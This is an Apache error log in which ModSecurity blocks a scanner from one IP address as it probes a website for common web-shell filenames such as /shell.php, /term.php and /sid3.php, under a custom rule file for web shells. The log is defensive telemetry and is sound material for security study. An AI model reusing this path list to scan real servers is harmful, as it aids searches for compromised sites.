[Wed Apr 15 19:11:51.433925 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:11182] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9yd3g-gnM2Ga0cGAAARgAAARM"]
[Wed Apr 15 19:11:51.969008 2026] [:error] [pid 30957:tid 31002] [client 51.120.68.159:20459] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9yd35gwVEVXHfVSipuJAAAAE0"]
[Wed Apr 15 19:11:52.508905 2026] [:error] [pid 30958:tid 31034] [client 51.120.68.159:40946] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9yeMeG3wSKTO7NWFGK0wAAANI"]
[Wed Apr 15 19:11:53.065392 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:11177] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9yeXg-gnM2Ga0cGAAASAAAAQc"]
[Wed Apr 15 19:11:53.615894 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:5257] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9yeRcEkLCmvF0fjDeoPwAAAIY"]
[Wed Apr 15 19:11:54.155220 2026] [:error] [pid 31053:tid 31067] [client 51.120.68.159:29375] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9yehcEkLCmvF0fjDeoQwAAAIs"]
[Wed Apr 15 19:11:54.672262 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:20431] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9yekBGUpjaWntNYq1e2wAAAAY"]
[Wed Apr 15 19:11:55.215428 2026] [:error] [pid 30956:tid 30969] [client 51.120.68.159:32412] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9ye0BGUpjaWntNYq1e3QAAAAk"]
[Wed Apr 15 19:11:55.738095 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:5295] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9ye3g-gnM2Ga0cGAAATgAAAQ8"]
[Wed Apr 15 19:11:56.307530 2026] [:error] [pid 30957:tid 31004] [client 51.120.68.159:43777] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9yfH5gwVEVXHfVSipuKAAAAE8"]
[Wed Apr 15 19:11:56.832356 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:23884] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9yfHg-gnM2Ga0cGAAAUAAAAQA"]
[Wed Apr 15 19:11:57.377511 2026] [:error] [pid 30956:tid 30984] [client 51.120.68.159:29318] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9yfUBGUpjaWntNYq1e3wAAABg"]
[Wed Apr 15 19:11:58.028332 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:43839] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9yfng-gnM2Ga0cGAAAUQAAAQo"]
[Wed Apr 15 19:11:58.600161 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:29343] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9yfng-gnM2Ga0cGAAAUwAAAQM"]
[Wed Apr 15 19:11:59.151911 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:32411] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9yf8eG3wSKTO7NWFGK2AAAAM0"]
[Wed Apr 15 19:11:59.671717 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:26478] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9yf3g-gnM2Ga0cGAAAVgAAAQ4"]
[Wed Apr 15 19:12:00.200108 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:32422] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9ygHg-gnM2Ga0cGAAAYQAAAQA"]
[Wed Apr 15 19:12:00.717485 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:5276] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9ygHg-gnM2Ga0cGAAAZQAAARQ"]
[Wed Apr 15 19:12:01.246518 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:42795] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9ygXg-gnM2Ga0cGAAAZgAAAQ4"]
[Wed Apr 15 19:12:01.795064 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:51906] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9ygRcEkLCmvF0fjDeoewAAAJU"]
[Wed Apr 15 19:12:02.316525 2026] [:error] [pid 30956:tid 30981] [client 51.120.68.159:43799] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9ygkBGUpjaWntNYq1e4wAAABU"]
[Wed Apr 15 19:12:02.844852 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:13156] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9ygng-gnM2Ga0cGAAAaAAAAQc"]
[Wed Apr 15 19:12:03.370578 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:22008] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9yg35gwVEVXHfVSipuKQAAAFc"]
[Wed Apr 15 19:12:03.908692 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:32445] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9yg3g-gnM2Ga0cGAAAagAAAQ8"]
[Wed Apr 15 19:12:04.438572 2026] [:error] [pid 30957:tid 30995] [client 51.120.68.159:22763] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9yhH5gwVEVXHfVSipuKgAAAEY"]
[Wed Apr 15 19:12:04.976108 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:21578] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9yhBcEkLCmvF0fjDeogAAAAJE"]
[Wed Apr 15 19:12:05.526587 2026] [:error] [pid 30957:tid 31003] [client 51.120.68.159:21579] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9yhX5gwVEVXHfVSipuLQAAAE4"]
[Wed Apr 15 19:12:06.049514 2026] [:error] [pid 30956:tid 30978] [client 51.120.68.159:14682] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9yhkBGUpjaWntNYq1e5gAAABI"]
[Wed Apr 15 19:12:06.642925 2026] [:error] [pid 30958:tid 31018] [client 51.120.68.159:19019] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9yhseG3wSKTO7NWFGK8AAAAMI"]
[Wed Apr 15 19:12:07.208593 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:42780] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9yh8eG3wSKTO7NWFGK8QAAAM4"]
[Wed Apr 15 19:12:07.775171 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:39714] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9yhxcEkLCmvF0fjDeoggAAAIo"]
[Wed Apr 15 19:12:08.325535 2026] [:error] [pid 31053:tid 31069] [client 51.120.68.159:21999] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9yiBcEkLCmvF0fjDeogwAAAI0"]
[Wed Apr 15 19:12:08.875720 2026] [:error] [pid 30956:tid 30962] [client 51.120.68.159:11978] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9yiEBGUpjaWntNYq1e6AAAAAI"]
[Wed Apr 15 19:12:09.435071 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:11972] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9yiRcEkLCmvF0fjDeohwAAAIA"]
[Wed Apr 15 19:12:10.143502 2026] [proxy_fcgi:error] [pid 31053:tid 31079] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:10.405887 2026] [proxy_fcgi:error] [pid 31053:tid 31076] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:11.192031 2026] [proxy_fcgi:error] [pid 31053:tid 31063] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:12.937374 2026] [proxy_fcgi:error] [pid 31053:tid 31080] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:13.199140 2026] [proxy_fcgi:error] [pid 31053:tid 31079] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:13.462474 2026] [proxy_fcgi:error] [pid 31053:tid 31076] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:13.742171 2026] [proxy_fcgi:error] [pid 31053:tid 31078] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:14.004881 2026] [proxy_fcgi:error] [pid 31053:tid 31065] [client 51.120.68.159:51946] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:14.282918 2026] [:error] [pid 31053:tid 31072] [client 51.120.68.159:51946] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9yjhcEkLCmvF0fjDeongAAAJA"]
[Wed Apr 15 19:12:14.869939 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:42759] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9yjhcEkLCmvF0fjDeooAAAAIo"]
[Wed Apr 15 19:12:15.394149 2026] [:error] [pid 30957:tid 31005] [client 51.120.68.159:22760] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9yj35gwVEVXHfVSipuNQAAAFA"]
[Wed Apr 15 19:12:15.918130 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:28784] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9yjxcEkLCmvF0fjDeoowAAAIY"]
[Wed Apr 15 19:12:16.458983 2026] [:error] [pid 30957:tid 30993] [client 51.120.68.159:43795] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9ykH5gwVEVXHfVSipuNgAAAEQ"]
[Wed Apr 15 19:12:16.987652 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:20858] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9ykBcEkLCmvF0fjDeopAAAAJI"]
[Wed Apr 15 19:12:17.583704 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:21994] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9ykX5gwVEVXHfVSipuOAAAAFI"]
[Wed Apr 15 19:12:18.151405 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:21965] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9ykng-gnM2Ga0cGAAAcgAAARU"]
[Wed Apr 15 19:12:18.717904 2026] [:error] [pid 30956:tid 30970] [client 51.120.68.159:51931] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9ykkBGUpjaWntNYq1e7gAAAAo"]
[Wed Apr 15 19:12:19.263297 2026] [:error] [pid 30956:tid 30983] [client 51.120.68.159:15487] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9yk0BGUpjaWntNYq1e7wAAABc"]
[Wed Apr 15 19:12:19.817554 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:10401] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9yk3g-gnM2Ga0cGAAAeAAAAQg"]
[Wed Apr 15 19:12:20.337365 2026] [:error] [pid 30956:tid 30965] [client 51.120.68.159:6636] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9ylEBGUpjaWntNYq1e8QAAAAU"]
[Wed Apr 15 19:12:20.854627 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:39697] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9ylMeG3wSKTO7NWFGK9gAAAMA"]
[Wed Apr 15 19:12:21.380176 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:5445] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9ylXg-gnM2Ga0cGAAAgQAAAQE"]
[Wed Apr 15 19:12:21.914826 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:13824] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9ylXg-gnM2Ga0cGAAAhQAAARI"]
[Wed Apr 15 19:12:22.461407 2026] [:error] [pid 30956:tid 30978] [client 51.120.68.159:5599] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9ylkBGUpjaWntNYq1e8gAAABI"]
[Wed Apr 15 19:12:22.980093 2026] [:error] [pid 31053:tid 31065] [client 51.120.68.159:51934] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9ylhcEkLCmvF0fjDeoqQAAAIk"]
[Wed Apr 15 19:12:23.500325 2026] [:error] [pid 30958:tid 31025] [client 51.120.68.159:32411] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9yl8eG3wSKTO7NWFGK9wAAAMk"]
[Wed Apr 15 19:12:24.024206 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:42761] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9ymBcEkLCmvF0fjDeoqwAAAIg"]
